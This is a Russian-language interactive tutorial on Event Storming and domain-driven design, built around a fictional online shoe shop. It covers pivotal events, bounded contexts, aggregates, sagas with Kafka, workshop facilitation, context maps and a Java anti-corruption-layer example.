Как читать стену. Время идёт слева направо — стрелка внизу. Оранжевые — события, синие — команды, сиреневые — политики «когда…, тогда…», зелёные — модели чтения и возможности (💡), жёлтые маленькие — люди, розовые с толстым левым краем — внешние системы, красные наклонённые — горячие точки. Флажок ⚑ и вертикальный пунктир — поворотные события. Горизонтальные линии — дорожки. Чёрный пунктир с подписью — кандидат в контекст: подпись можно нажать.
Это упрощение. Настоящая стена «Ботинка» к вечеру насчитывала больше двухсот стикеров, и висели они далеко не так ровно. Мы оставили самые показательные, чтобы на экране было видно главное: как из хаоса появляется порядок, а из порядка — границы.

глава 7 · каркас стены поворотные события и дорожки: найдите их сами

Когда события выстроены по времени, стена превращается в длинную ленту из сотни оранжевых стикеров. Читать её подряд трудно. Нужен каркас — несколько опорных точек, которые делят историю на главы.

Поворотное событие (pivotal event) — событие, после которого история бизнеса переходит в новую главу: меняется хозяин процесса, меняется язык, меняются обязательства. Таких событий на стене немного — обычно 4–6. Их отмечают вертикальной линией или яркой лентой.
в биографии человека тысячи событий, но несколько из них делят жизнь на главы: окончил школу, переехал в другой город, женился, вышел на пенсию. После каждого из них меняется всё: окружение, распорядок, слова, которыми человек описывает свои дни. «Купил новый чайник» — событие, но не поворотное.

Четыре признака поворотного события

👥 Меняется хозяин

До события процессом занимаются одни люди, после — другие. До «Заказ отгружен» за заказ отвечает склад, после — перевозчик.

🗣 Меняется язык

До события говорят «корзина, промокод», после — «платёж, чек». Смена словаря — первый признак смены контекста.

🔒 Трудно отменить

После события у компании появились обязательства: взяли деньги, передали товар. Отменить можно только компенсацией — возвратом, отменой, извинением.

📊 Его считают

Это событие владелица смотрит в отчётах: «сколько заказов оформлено», «сколько вручено». Если по событию строят метрики бизнеса — скорее всего, оно поворотное.

Тренажёр: отметьте поворотные события «Ботинка»

Ниже четырнадцать событий со стены. Нажмите на те, которые считаете поворотными, — на них появится флажок ⚑. Потом нажмите «Проверить».

Дорожки

Дорожка (swimlane) — горизонтальная полоса на стене для отдельного потока событий. Её проводят, когда в один момент времени идут параллельные процессы или когда у куска процесса свой хозяин.
дорожки в бассейне. Пловцы плывут одновременно, каждый в своей полосе, и не мешают друг другу. Если загнать всех в одну дорожку, получится очередь, хотя на самом деле они плывут параллельно.

На стене «Ботинка» дорожек три. Верхняя — витрина, заказ и деньги. Средняя — склад и доставка: пока касса пробивает чек, кладовщик уже собирает заказ. Нижняя — бонусы и поддержка: они живут своей жизнью и цепляются к основному потоку в отдельных точках. Посмотрите фазу 5 на живой стене — события разъезжаются по полосам.

Когда проводить

Процессы идут одновременно (сборка и чек). Есть варианты пути (курьер или самовывоз). Есть удачный путь и путь отказа (оплата прошла или отклонена).

Когда не надо

Чтобы разложить события «по отделам» с самого начала. Дорожки должны вырасти из истории, а не из оргструктуры. Иначе вы нарисуете оргструктуру и не увидите, где процесс её пересекает.

Временные вехи

Кроме событий, на стене бывают вехи времени (temporal milestones): «конец месяца», «старт чёрной пятницы», «прошло 14 дней после вручения». Вопрос «что случится, если веху пропустить?» часто находит горячие точки.

Каркас — это уже черновик границ. Поворотные события режут стену по вертикали, дорожки — по горизонтали. Получаются клетки. Каждая клетка — подозреваемый в будущий контекст. Как превратить подозрение в решение — в следующей главе.

глава 8 · границы как из стены проступают границы контекстов

Ради этого момента многие и проводят воркшоп. Стена выстроена, у неё есть каркас. Где провести черту между будущими частями системы? Не на глаз и не «по отделам». Есть несколько признаков — эвристик. Каждая сама по себе может ошибиться. Когда сходятся две-три сразу, черта почти наверняка там.

Ограниченный контекст (bounded context) — часть системы, внутри которой каждое слово значит одно и то же и действует одна модель. За границей те же слова могут значить другое. Подробно — в разделе . Event Storming не «вычисляет» контексты. Он даёт кандидатов: места, где граница скорее всего проходит.
граница между странами чаще всего проходит там, где меняется язык, деньги и правила дорожного движения. Никто не ставит пограничный столб посреди города, где все говорят на одном языке. Так и здесь: ищем места, где меняется словарь, люди и правила.

Пять эвристик

Ножницы: разрежьте ленту сами

Перед вами одиннадцать событий основного пути с пометками: кто их делает и какими словами говорят рядом с ними. Между событиями — щели. Нажмите на щель, чтобы поставить туда ножницы ✂ (ещё раз — убрать). Кнопки эвристик подсвечивают щели, где срабатывает каждый признак. Когда решите — «Проверить».

Граница на стене — гипотеза, а не приговор. Дальше её проверяют: сколько сообщений будет летать через границу, разные ли у частей требования к надёжности и скорости изменений, какая команда будет владеть каждой частью. Этим занимается раздел . Отношения между найденными контекстами — кто под кого подстраивается — разбирает .

глава 9 · процесс уровень процесса: оформление заказа целиком, со сбоями

Через неделю после общей картины Олег собрал маленькую группу: Борис, Марина, Семён со склада и Нина из бухгалтерии. Задача одна — разобрать до винтика оформление и оплату заказа. Это уровень процесса: каждый оранжевый стикер получает «причину» (синюю команду) и «последствие» (сиреневую политику).

Команда (command) — намерение что-то сделать: «Оформить заказ», «Провести оплату». Её даёт человек или политика. Команду можно отклонить — например, если нарушено правило.
Политика (policy), или реакция, — правило вида «когда случилось событие, тогда даём команду». «Когда оплата получена — подтверждаем заказ». Политика бывает автоматической (её выполняет программа) или ручной (её выполняет человек по регламенту).
Модель чтения (read model) — данные, на которые смотрит человек, прежде чем дать команду. Покупатель смотрит на корзину и наличие размеров, кладовщик — на список заданий на сборку.
цепочка домино. Каждая костяшка — событие. Толчок пальцем — команда. Но в бизнесе между костяшками стоят люди и правила: «когда упадёт эта — толкни вон ту». Политика — это и есть «когда упадёт эта, толкни ту». Если её забыть, цепочка остановится посередине, и никто не заметит.

Ниже — живой разбор. Ряд за рядом появляется цепочка «кто запускает → команда → кто обрабатывает → событие». Под агрегатами — правила-стражи: проверки, которые могут отклонить команду. Справа внизу — состояние заказа, остаток и деньги, ниже — журнал событий. Выберите сценарий и идите по шагам.

журнал событий · что уже случилось
Что здесь главное. В сценарии «оплата отклонена» ничего не удаляется и не «откатывается». Заказ не исчезает, резерв не стирается. Появляются новые события: «Резерв снят», «Заказ отменён». Это компенсация. Цепочка политик, которая доводит процесс до конца или аккуратно отменяет сделанное, в архитектуре называется сагой. Подробно — в разделе .

Что ещё обязательно спросить на уровне процесса

  • «А если не ответит?» — для каждой внешней системы. Шлюз молчит 30 секунд: списаны деньги или нет? Кто и когда это выяснит?
  • «А если придёт дважды?» — для каждой политики. Событие «Оплата получена» доставили два раза: не подтвердим ли заказ дважды, не спишем ли бонусы дважды?
  • «А по какому времени?» — для каждой вехи. «Резерв держим 15 минут» — от чего считаем? Кто снимает просроченные резервы?
  • «На что смотрит человек?» — для каждой ручной команды. Если кладовщику не на что смотреть, он будет звонить.

глава 10 · дизайн уровень дизайна: агрегаты и правила-стражи

На уровне процесса мы писали «Заказ», «Остаток» на больших жёлтых стикерах, не задумываясь. На уровне дизайна Марина задаёт главный вопрос: какие правила обязаны выполняться мгновенно и всегда, а какие могут выполниться чуть позже? От ответа зависит, что будет одной транзакцией, а что — разными.

Агрегат (aggregate) — группа данных, которая меняется только целиком и только через свои команды. Он охраняет свои правила: ни одна команда не может оставить его в состоянии, нарушающем правило. Одна команда — одна транзакция — один агрегат.
Инвариант (invariant) — правило, которое истинно всегда, в любой момент. «Резерв не больше доступного остатка». «Сумма заказа равна сумме строк минус скидка». Если правило хоть на секунду может нарушаться — это уже не инвариант агрегата, а правило процесса.
кассир в банке. Он отвечает за свою кассу: в ней никогда не может стать меньше нуля, и каждая выдача сразу же уменьшает остаток. А правило «клиент не должен превышать лимит по всем картам за месяц» проверяет не кассир, а отдел, который смотрит отчёты в конце дня. Касса — агрегат со своим инвариантом. Месячный лимит — правило процесса, оно может сработать позже.

Как стикеры превращаются в агрегат

1
Соберите команды, которые бьют в одни и те же правила. «Оформить заказ», «Изменить адрес», «Подтвердить заказ», «Отменить заказ» — все проверяют статус и состав заказа.Брандолини советует сначала выписать правила, а имя агрегату дать в последнюю очередь. В шпаргалке сообщества DDD Crew большой жёлтый стикер так и называется — «ограничение» (constraint).
2
Выпишите правила-стражи на большой жёлтый стикер. Это будущие проверки в коде и будущие критерии приёмки у аналитика.
3
Для каждого правила спросите: «нужно мгновенно?» Да — правило живёт внутри агрегата и проверяется в одной транзакции. Нет — оно становится политикой между агрегатами и выполняется через событие.
4
Проверьте размер. Если в агрегат попало всё подряд — заказ, остатки, бонусы и платежи, — он станет узким местом: каждая команда будет блокировать всех. Маленькие агрегаты с правилами процесса между ними живут лучше.

Агрегат «Заказ» на языке стены и на языке кода

На стене

Большой жёлтый стикер «Заказ». Слева — синие команды, справа — оранжевые события, на самом стикере — правила:
• нельзя оформить пустую корзину;
• сумма = сумма строк − скидка − бонусы;
• после оплаты состав не меняется;
• отменить можно только до отгрузки.

В коде (набросок)

Заказ
  оформить(строки, адрес)  → ЗаказОформлен
     страж: строк ≥ 1, сумма сходится
  подтвердить(платёж)      → ЗаказПодтверждён
     страж: статус = «оформлен»
  изменитьАдрес(адрес)     → АдресДоставкиИзменён
     страж: статус ≠ «отгружен»
  отменить(причина)        → ЗаказОтменён
     страж: статус ≠ «отгружен»

Тренажёр: правило внутри агрегата или между ними?

Для каждого правила «Ботинка» решите: должно ли оно выполняться мгновенно, в одной транзакции с командой, — или может выполниться чуть позже через событие и политику.

Решено 0 из 0.

Связь с контекстами. Агрегат всегда живёт внутри одного контекста. Правило, которое связывает агрегаты разных контекстов («оплачен — значит зарезервирован»), никогда не делают одной транзакцией: это политика через события, то есть сага. Почему граница транзакции совпадает с границей модели — в разделе .

глава 11 · в архитектуру со стены — в код и в Kafka: что получается из каждого стикера

Архитектор Марина забрала фотографии стены и разложила стикеры по будущим частям системы. Оказалось, что у каждого цвета есть прямой «наследник» в архитектуре. Именно поэтому язык стены и язык кода у «Ботинка» совпадают: событие «Заказ оформлен» на стене и сообщение OrderPlaced в Kafka — одно и то же.

Таблица наследования

Нажмите на строку — раскроется пояснение.

Кликните по контексту — увидите, что из него получится

Это кандидаты в контексты со стены (глава 6, последняя фаза). Для каждого: на каком языке там говорят, какие агрегаты и правила, какие команды станут API, какие события и в какие темы Kafka он публикует, кого слушает, какие модели чтения строит и во что превращаются его горячие точки.

Политика между контекстами — это сага

Цепочка «заказ оформлен → резерв → оплата → подтверждение» проходит через три контекста. Сделать её одной транзакцией нельзя: у каждого контекста своя база. Поэтому она становится сагой на событиях. Пройдите её по шагам — со сбоем оплаты.

📮 Событие нельзя потерять

«Заказ оформлен» записан в базу Продаж, а до Kafka не дошёл — Склад не узнает о заказе, товар не зарезервируется. Лечится шаблоном «исходящий ящик»: событие пишется в ту же транзакцию, что и заказ, а отдельный процесс отправляет его в брокер. Подробно — .

🔁 Событие может прийти дважды

Kafka и большинство брокеров на практике гарантируют доставку «хотя бы один раз». Значит, каждая политика-подписчик должна быть идемпотентной: второе «Оплата получена» не подтверждает заказ повторно. Как устроены темы, разделы и ключи — .

🔢 Порядок — по ключу

Kafka хранит порядок только внутри раздела. Поэтому события одного заказа публикуют с ключом «номер заказа»: тогда «оформлен», «подтверждён» и «отменён» одного заказа придут подписчику по порядку.

📗 Модель чтения — отдельная проекция

Зелёный стикер «Карточка заказа для поддержки» собирается из событий четырёх контекстов в отдельную базу для чтения. Запись и чтение разделены — это CQRS. Подробно — .

глава 12 · фасилитация роли, правила и шесть способов провалить воркшоп

Олег на этом воркшопе не эксперт ни в складе, ни в бонусах. Его работа — не знать ответы, а сделать так, чтобы ответы прозвучали.

Фасилитатор (facilitator) — ведущий воркшопа. Он отвечает за процесс, а не за содержание: даёт задания, следит за временем, задаёт вопросы, вовлекает молчащих, не даёт спорам съесть день. Сам стикеры с бизнес-фактами он почти не клеит.
ведущий хорошей настольной игры. Он объясняет правила, следит за ходами и временем, подсказывает новичку. Но не играет за игроков и не решает, кто выиграет. Если ведущий начинает играть сам, остальные откидываются на спинку стула.

Кто есть кто у стены

🎙 Фасилитатор

Олег. Ведёт фазы, задаёт вопросы «а что было до этого?», «а если не получилось?», превращает споры в горячие точки.

📸 Помощник

Марина в этот раз. Следит за временем, записывает решения и вопросы, фотографирует стену по кускам. Без помощника фасилитатор либо ведёт, либо записывает.

🧭 Тот, кто решает

Вера, владелица. Не нужна каждую минуту, но нужна, когда спор упирается в «а как мы хотим?». Без неё горячие точки так и останутся вопросами.

📦 Эксперты

Семён, Лида, Кира, Нина. Знают, как на самом деле работает их кусок, — со всеми обходными путями и звонками «по старой дружбе».

💻 Разработчики

Борис. Слушают язык бизнеса из первых уст, задают вопросы «а что, если…», рассказывают, как сейчас работает система. Не проектируют вслух.

🚫 Наблюдатели

Тех, кто «просто послушает», лучше не звать. Человек, который не клеит стикеры, но оценивает остальных, глушит честные разговоры.

Правила, которые Олег повторял весь день

  • Сначала пишем, потом спорим. Спор без стикера — потерянное время. Спорный момент — красный стикер, и дальше.
  • Нет неправильных стикеров. Дубликат лучше, чем молчание. Лишнее уберём на хронологии.
  • Говорим про бизнес, не про технику. «Kafka», «микросервис», «таблица» — на парковку до уровня дизайна.
  • Термин спорный — фиксируем оба. «Отправлен» у склада и у поддержки — два значения. Записать оба на горячую точку, договориться о словах позже.
  • Стену не причёсываем. Красота вредит: люди перестают клеить, боясь «испортить» ровные ряды.

Типичные провалы

Тренажёр: спасите воркшоп

Ситуации из реальных воркшопов. Что сделает хороший фасилитатор?

Решено 0 из 0.

глава 13 · родственники Domain Storytelling, Event Modeling, Example Mapping, User Story Mapping

Event Storming — не единственный способ собрать знание у стены. У него есть родственники. Они не соперники: хорошая команда держит в кармане несколько и выбирает под задачу.

📖 Domain Storytelling

Авторы — Штефан Хофер и Хеннинг Швентнер (Stefan Hofer, Henning Schwentner), книга 2021 года. Эксперт рассказывает одну конкретную историю: «Лида получает звонок, находит заказ, оформляет возврат…». Ведущий тут же рисует её пиктограммами: человечки-акторы, предметы — рабочие объекты, стрелки — действия, у каждой стрелки номер шага. Ветвлений «если — иначе» нет: другой вариант — другая история.

🧱 Event Modeling

Автор — Адам Дымитрук (Adam Dymitruk), 2019 год. Чертёж информационной системы на ленте времени: сверху макеты экранов, ниже — команды (синие), события (оранжевые) и представления, то есть модели чтения (зелёные), по горизонтальным полосам владельцев. Всё описывается четырьмя шаблонами: изменение состояния, представление состояния, автоматизация, перевод из внешней системы. Получается спецификация, по которой пишут код.

🗂 Example Mapping

Автор — Мэтт Уинн (Matt Wynne), 2015 год. Разбор одной пользовательской истории на карточках: жёлтая — история, синие — правила, зелёные — примеры к каждому правилу, красные — вопросы, на которые никто не ответил. На хорошо понятную историю уходит около 25 минут. Результат — критерии приёмки.

🗺 User Story Mapping

Автор — Джефф Паттон (Jeff Patton), книга 2014 года. По горизонтали — шаги пути пользователя («хребет» карты), под каждым шагом — истории по важности. Горизонтальные срезы — релизы: верхний срез — самый маленький продукт, с которым уже можно пройти весь путь. Инструмент планирования, а не поиска границ.

Сравнение

А BPMN? Нотация бизнес-процессов — строгий язык с ветвлениями, таймерами и исключениями. Event Storming помогает быстро и грязно найти процесс всей комнатой, BPMN — точно описать найденный процесс для регламента или исполнения. Часто их используют по очереди: сначала стена, потом аккуратная схема. Нотация разобрана в разделе .

Тренажёр: какую технику выбрать

Решено 0 из 0.

глава 14 · результат что аналитик забирает со стены

Вечером воркшоп закончился, люди разошлись. Стена осталась. Для Олега начинается самая важная часть: превратить двести стикеров в документы, по которым будут работать. Если этого не сделать, через месяц стену снимут, и останется только приятное воспоминание.

Глоссарий: первые строки

Самые ценные строки — где одно слово значит разное в разных контекстах.

ТерминКонтекстЧто значитЧем НЕ является
ЗаказПродажиОбещание покупателю: состав, цена, адрес, способ оплатыНе сборочное задание склада
ОтгруженСкладПосылка передана перевозчику и покинула складНе «письмо отправлено клиенту». Слово «отправлен» решили не использовать вовсе
РезервСкладПара закреплена за заказом и не продаётся другим; держится 15 минут до оплатыНе «товар в корзине»: корзина ничего не резервирует
Бонусы начисленыЛояльностьБонусы доступны к трате; через 14 дней после вручения, если не было возвратаНе «обещанные бонусы», которые клиент видит сразу после оплаты
ВозвратПоддержка / ОплатаВ Поддержке — заявка покупателя и решение по ней; в Оплате — перевод денег обратно на картуДва разных факта: «Возврат одобрен» и «Деньги возвращены»

Каталог событий: карточка события

Каждое важное событие получает карточку. Это и требование, и будущий контракт сообщения. Выберите событие.

Как это звучит в требованиях

Горячие точки и правила со стены превращаются в требования — функциональные и нефункциональные. Как писать требования хорошо, разобрано в разделе .

Что было на стенеЧто стало в требованиях
Горячая точка «Когда начислять бонусы?» → решение Веры«Бонусы за заказ начисляются через 14 календарных дней после события „Заказ вручён“, если по заказу не было события „Возврат одобрен“. До начисления покупатель видит бонусы как „ожидаемые“»
Горячая точка «Сколько держим резерв?»«Резерв действует 15 минут с момента „Товар зарезервирован“. Если за это время нет „Оплата получена“, резерв снимается с событием „Резерв снят“, а заказ отменяется»
Политика «Когда заказ оформлен — резервируем»«Событие „Заказ оформлен“ доступно подписчикам не позднее 2 секунд после фиксации заказа (p99). Доставка — хотя бы один раз, обработчики идемпотентны по номеру заказа»
Горячая точка «Поддержка не видит посылку» + возможность«Оператор поддержки видит в карточке заказа статус доставки и трек-номер с отставанием не более 5 минут от события перевозчика»
Правило-страж «Резерв не больше остатка»«Система не допускает резерв сверх доступного остатка ни при каком числе одновременных заказов. Проверка — в одной транзакции с резервом»
Внешняя система «Платёжный шлюз» + вопрос «а если не ответит?»«При отсутствии ответа шлюза за 10 секунд платёж получает статус „неизвестен“; сверка с банком выполняется не реже раза в 15 минут; повторное списание по тому же заказу исключено ключом идемпотентности»
Черновик карты контекстов. Кандидаты в контексты со стены и стрелки политик между ними — почти готовая карта контекстов. Осталось назвать отношения: кто поставщик, кто потребитель, где нужен переводчик для внешней системы. Это раздел .

глава 15 · проверь себя двенадцать вопросов по Event Storming

Решено 0 из 0.

Дальше → из стены событий — в границы моделей: что такое ограниченный контекст и почему одно слово значит разное

Одно слово в разных отделах значит разное. «Заказ» у продавца, у кладовщика и у бухгалтера — три разные вещи с разными полями и разными правилами. Не надо договариваться об «одном правильном определении». Надо признать, что их три, провести границу и связать их номером.

зачем это зачем нужны ограниченные контексты

зачем это вообще что за контексты и почему на них режут

Начнём с честного вопроса: зачем вообще что-то резать на «контексты»? Ответ проще, чем кажется, и он не про код.

Контекст — это область, внутри которой слово значит одно и то же. Вот и всё определение. Границей контекста называют место, где смысл слова меняется.

Житейски: одно слово, разные смыслы

Слово «ключ». В слесарной мастерской это инструмент. В гостинице — то, чем открывают номер. В музыке — знак в начале нотной строки. У программиста — поле, по которому ищут запись.

Никто не спорит, какое значение «правильное». Просто у каждой области свой словарь, и внутри неё путаницы нет. Проблемы начинаются, только когда две области пытаются говорить одним словарём.

А теперь то же самое в «Ботинке»

Нажмите на каждый отдел — посмотрите, что он имеет в виду под словом «заказ».

Вот теперь — зачем режем

интерактив одно слово — четыре модели

Выберите слово и посмотрите, что оно значит в четырёх контекстах интернет-магазина. Обратите внимание: пересечение полей почти пустое, а поведение различается полностью. Попытка слить это в один класс порождает сущность с полусотней полей, где каждому нужна своя четверть.

различие поддомен и контекст — не синонимы

Поддомен — пространство задачи

Кусок реальности бизнеса: «управление складом» существует и без нас, даже если склад ведут в тетрадке. Поддомены мы обнаруживаем, анализируя деятельность компании. Их нельзя придумать — можно только неправильно разглядеть.

Контекст — пространство решения

Кусок нашей системы со своей моделью и своим языком. Контексты мы проектируем. Их границы — наше решение, и за него мы отвечаем.

В идеале один контекст = один поддомен. На практике встречается и другое, и это не всегда ошибка:

  • Один поддомен разбит на несколько контекстов — обычно вынужденно: часть уже живёт в legacy-системе, часть в новой. Признак технического долга, но иногда осознанное переходное состояние.
  • Один контекст покрывает несколько поддоменов — нормально для мелких поддерживающих кусков, которые не стоят отдельного сервиса. Не плодите сущности без нужды.
  • Контекст совпал с покупным продуктом — типично для общих поддоменов: «1С» или платёжный провайдер целиком является контекстом с чужой моделью, и наша задача — изолировать его.

интерактив соберите модель заказа для склада

Перед вами поля, которые есть в системе вокруг заказа. Отметьте те, что нужны контексту «Склад» для его работы — сборки и отгрузки. Лишнее поле в модели контекста так же вредно, как недостающее: оно создаёт ложную зависимость и повод лезть в чужие данные.

Отметьте поля, нужные складу.

признаки как понять, что перед вами два контекста, а не один

механика чем контексты связаны, если не общими классами

Идентификатором

В «Складе» лежит orderId — и всё. Ни полей заказа, ни его статусов. Если складу нужна цена, он спрашивает у «Продаж» или получает её в событии.

Событием с копией нужных полей

«Продажи» публикуют OrderPlaced{orderId, items[], address}. «Склад» берёт из события только то, что ему нужно, и кладёт к себе. Это своя копия, а не ссылка на чужое.

Явным переводчиком на границе

Слой предотвращения порчи переводит чужие понятия в свои: «реализация» из 1С становится «отгрузкой» на входе в наш контекст. Чужая модель дальше границы не проникает.

Чего делать нельзя ни при каких обстоятельствах: общий класс Order для всех контекстов, «чтобы не дублировать». Дублирование трёх полей в двух контекстах стоит копейки; общая модель стоит того, что вы больше никогда не сможете менять её в одиночку. Это тот редкий случай, когда DRY вреден: DRY применяется к знанию, а не к структурам данных, и «заказ на складе» и «заказ в бухгалтерии» — разное знание.

задание контексты на практике

Решено 0 из 0.

Дальше → контексты найдены — теперь опишем, кто кому кем приходится: карта контекстов

Между двумя частями системы всегда есть отношения. Кто диктует формат, кто подстраивается, кто от кого защищается переводчиком. Если эти отношения не назвать вслух, они сложатся сами — и обычно в форме «мы подстраиваемся под всех».

зачем это зачем рисовать карту контекстов

зачем это вообще отношение — это не про код, это про людей

Самое непонятное место во всей теме. Давайте начистоту: отношение между контекстами — это договорённость двух команд о том, кто под кого подстраивается. Всё. Никакой техники.

Житейски. Вы снимаете квартиру. Между вами и хозяином есть отношение: кто устанавливает правила, кто может их менять, кто обязан подстроиться. Можно этого не проговаривать — но тогда однажды выяснится, что хозяин считал иначе. Обычно в неудобный момент.

Вопрос, на который отвечает отношение

Он всего один, и звучит так:

«Команда А меняет формат ответа. Кто обязан переделывать — и когда?»

Пока ответа нет, каждое изменение превращается в переговоры с нуля, а иногда и в скандал. Когда ответ записан заранее — это просто рабочая процедура.

Что бывает, когда отношение не названо

на живом примере пять разговоров, которые решает карта контекстов

Тот же магазин «Ботинок». Нажмите на разговор — увидите, какое здесь отношение, что оно значит на практике и что делать дальше.

что делать дальше карта нарисована — и?

Самый честный вопрос: хорошо, повесили схему на стену. Что с ней делают в понедельник?

как выглядит сама карта контекстов — вот она

Сначала о том, что вообще имеется в виду под словом «карта». Это буквально схема на стене: коробки — части системы, стрелки — кто с кем разговаривает, подписи на стрелках — какие между ними отношения.

                    КАРТА КОНТЕКСТОВ «БОТИНКА»

     ┌───────────┐  партнёрство   ┌───────────┐
     │  Подбор   │◄══════════════►│  Заказы   │
     │  размера  │                │           │
     └─────▲─────┘                └─────┬─────┘
           ║ событием                   │ заказчик
     ┌─────╨─────┐                ┌─────▼─────┐
     │ Возвраты  │                │  Склад    │
     └───────────┘                └───────────┘

     ┌───────────┐                ┌───────────┐
     │  Каталог  │───подстраиваемся──►│ Прайсы  │
     └───────────┘   (чужой формат) └───────────┘

     ┌───────────┐  прослойка     ┌───────────┐
     │  Заказы   │───[перевод]───►│ Старый    │
     └───────────┘                │ склад 1С  │
                                  └───────────┘

     ┌───────────┐                ┌───────────┐
     │ Все части │───очередь─────►│ Платформа │
     └───────────┘                │  входа    │
                                  └───────────┘

  ═══►  обе стороны договариваются
  ───►  одна сторона зависит от другой
  [..]  прослойка-переводчик на границе
Вот и всё, что такое карта контекстов. Одна картинка, на которой видно: кто с кем связан, в какую сторону, и по каким правилам. Её рисуют на доске за час и вешают там, где её видно команде.
Что значит «повесить на видное место». Буквально: распечатать или вывесить в вики, чтобы новый человек увидел её в первый день, а не собирал эту картину по кусочкам три месяца. Это самое частое и самое недооценённое применение карты.

проиграйте восемь отношений: что происходит, когда сосед меняет формат

Отношения проще понять не по описанию, а по тому, как они ведут себя при изменении. Выберите отношение и нажимайте «Дальше» — увидите, что происходит по шагам.

каталог восемь отношений между контекстами

Нажмите на карточку, чтобы раскрыть подробности: когда применять, чем платить, как выглядит на практике.

интерактив подберите отношение под ситуацию

Решено 0 из 0.

подробно слой предотвращения порчи (ACL) — как он выглядит в коде

Это самый нужный из восьми паттернов и единственный, который вы будете применять почти в каждой интеграции. Его смысл: чужая модель не должна проникать внутрь вашего контекста. Всё, что приходит снаружи, на границе переводится в ваши понятия; всё, что уходит, — в чужие.

// ─── Плохо: чужая модель растеклась по всему коду ───
// Классы сгенерированы из чужого WSDL и используются напрямую.
class OrderService {
  void ship(ExternalShipmentResponseTypeV2 resp){   // чужое имя в нашем коде
    if("SHP_ST_04".equals(resp.getStatusCode())){  // чужая магия
      order.setStatus("SHIPPED");
    }
  }
}
// Последствия: смена перевозчика = правки по всей кодовой базе;
// значение "SHP_ST_04" знают в шести местах; тесты требуют чужих классов.

// ─── Хорошо: переводчик на границе ───
interface ShippingGateway {                    // НАШ контракт, наши слова
  ShipmentStatus statusOf(OrderId id);           // наш enum, наш тип
}

class DhlShippingAdapter implements ShippingGateway {  // ACL
  public ShipmentStatus statusOf(OrderId id){
    var resp = dhlClient.track(id.value());     // чужое живёт только здесь
    return switch(resp.getStatusCode()){       // перевод один раз, в одном месте
      case "SHP_ST_04", "SHP_ST_05" -> ShipmentStatus.DELIVERED;
      case "SHP_ST_02"            -> ShipmentStatus.IN_TRANSIT;
      default                       -> ShipmentStatus.UNKNOWN;
    };
  }
}
// Смена перевозчика = новая реализация интерфейса. Остальной код не знает,
// что перевозчик вообще менялся. Тесты домена работают на заглушке.

Когда ACL обязателен

  • Интеграция с покупной или legacy-системой, чью модель вы не контролируете.
  • Внешний партнёр, который меняет контракт без предупреждения.
  • Общий поддомен, который вы планируете однажды заменить.
  • Любой контекст, где «их» слова не совпадают с «вашими».

Когда ACL — лишняя работа

  • Внутренний сервис вашей же команды с общим языком: перевод получится тождественным.
  • Контракт стабилен и спроектирован специально для потребителей (см. «Открытая служба»).
  • Интеграция одноразовая и будет выброшена через месяц.

практика как нарисовать карту за один день

Дальше → самое практическое: тренажёр разрезания монолита с проверкой качества нарезки

Границу проводят там, где по разные стороны требования разные, а внутри — одинаковые. Не там, где красиво на схеме, и не там, где проходит граница отделов. Этот раздел — практический метод: по каким признакам искать шов, как проверить его цифрами и как оформить результат. Ведёт нас одна история. Аналитик Олег и разработчик Борис режут «Ботинок» три раза: два раза неудачно и один раз так, что с этой нарезкой магазин живёт до сих пор.

зачем это зачем резать систему на части

карта раздела одна история, шестнадцать глав

Главы 1–4 — история трёх попыток. Глава 5 — сам метод по шагам. Главы 6–11 — инструменты, которыми границу находят и проверяют: линзы, языковые границы, матрица изменений, живая модель связности, сценарии. Главы 12–15 — как довести дело до кода и до документа. Опирается на разделы , , и . Кнопка переносит к главе.

глава 1 · завязка «Ботинок» вырос: среда, общий релиз и два часа без заказов

Три года назад «Ботинок» был одной программой и одной командой из пяти человек. Сейчас разработчиков 38, команд пять, а программа всё ещё одна. Выкатывают её раз в неделю, в среду, все вместе.

В прошлую среду команда подбора размера выкатила новую модель. Вместе с ней уехала недоделанная правка корзины из соседней команды. Два часа покупатели не могли оформить заказ. Анна трижды нажимала «Оформить» и ушла к конкурентам.

Технический директор сказал: «Режем на микросервисы». Аналитику Олегу и разработчику Борису поручили предложить, как именно. Они резали три раза. Первые две попытки провалились — и это самое поучительное в истории. Но сначала три слова, без которых разговор о нарезке не получится.

Граница (boundary) — черта между частями системы. Снаружи видно только то, что часть сама решила показать: свои команды, запросы и события. Как она устроена внутри — её личное дело.
квартира. Гости видят прихожую и гостиную. Что лежит в шкафах, решают хозяева. Они могут всё переставить, никого не спрашивая.
Связность (coupling) — насколько части зависят друг от друга. Её видно по двум числам: сколько раз части зовут друг друга за одну операцию и сколько задач приходится делать в обеих сразу.
две соседние квартиры с общим счётчиком воды. Пока соседи не договорятся, кто сколько платит, никто не может поменять даже кран.
Цельность (cohesion) — насколько всё внутри одной части относится к одному делу. Высокая цельность: внутри одно дело, одни слова и одни правила.
ящик с инструментами для велосипеда — цельный: открыл и нашёл всё для ремонта. Ящик «всякое» — нет: ключи, батарейки и рецепт пирога. Чтобы найти нужное, перебираешь всё.
Проще говоря. Хорошая нарезка — это внутри частей тесно, между частями редко. Всё, что меняется вместе и говорит на одном языке, — в одну часть. Всё, что живёт своей жизнью, — врозь.

Ради чего вообще режем

Резать систему на части нужно ровно для одного: чтобы изменение затрагивало одно место, а команда, которая его делает, не спрашивала разрешения у остальных. Не ради моды, не ради слова «современнее» и не ради красивой схемы.

Проверка любой границы, одной фразой. Возьмите типовую задачу. Если она укладывается в одну часть — граница проведена верно. Если задевает четыре — неверно, и никакая технология это не исправит.
И сразу про то, чего резать не надо. Нарезка не лечит запутанный код, непонятные тормоза и страшные релизы. Если болит это — режьте позже, а сейчас чините причину. Иначе получите те же проблемы, но по сети.

Как Олег записал цель — так, чтобы её можно было проверить

Олег знал: «нарезать хорошо» — не требование. Его нельзя проверить. Поэтому первым делом он написал цель в виде чисел. Эти же три числа мы будем считать во всех интерактивах раздела.

Доля задач квартала, которые меняют одну часть
≥ 70 %
Синхронных вызовов между частями на одну покупку
≤ 3
Транзакций, разорванных границей без согласия бизнеса
0
ЦЕЛИ НАРЕЗКИ «БОТИНКА» (из постановки Олега)

Ц-1  Не меньше 70 % задач квартала меняют одну часть системы
     и выкатываются без согласования с другими командами.
Ц-2  Падение необязательной части (рекомендации, отзывы)
     не мешает оформить заказ.
Ц-3  Оформление заказа делает не больше 3 синхронных
     вызовов между частями; остальное — событиями.
Ц-4  У каждой части одна команда-владелец и свои данные.
     Чужие таблицы напрямую никто не читает.

Как проверяем: раз в квартал — по истории задач в трекере
и по трассировкам оформления заказа.
Как это звучит в требованиях. Не «система должна быть разбита на микросервисы», а цель и способ её проверить. Нарезка — средство. Если завтра окажется, что цели Ц-1…Ц-4 достигаются модульным монолитом, это тоже успех.

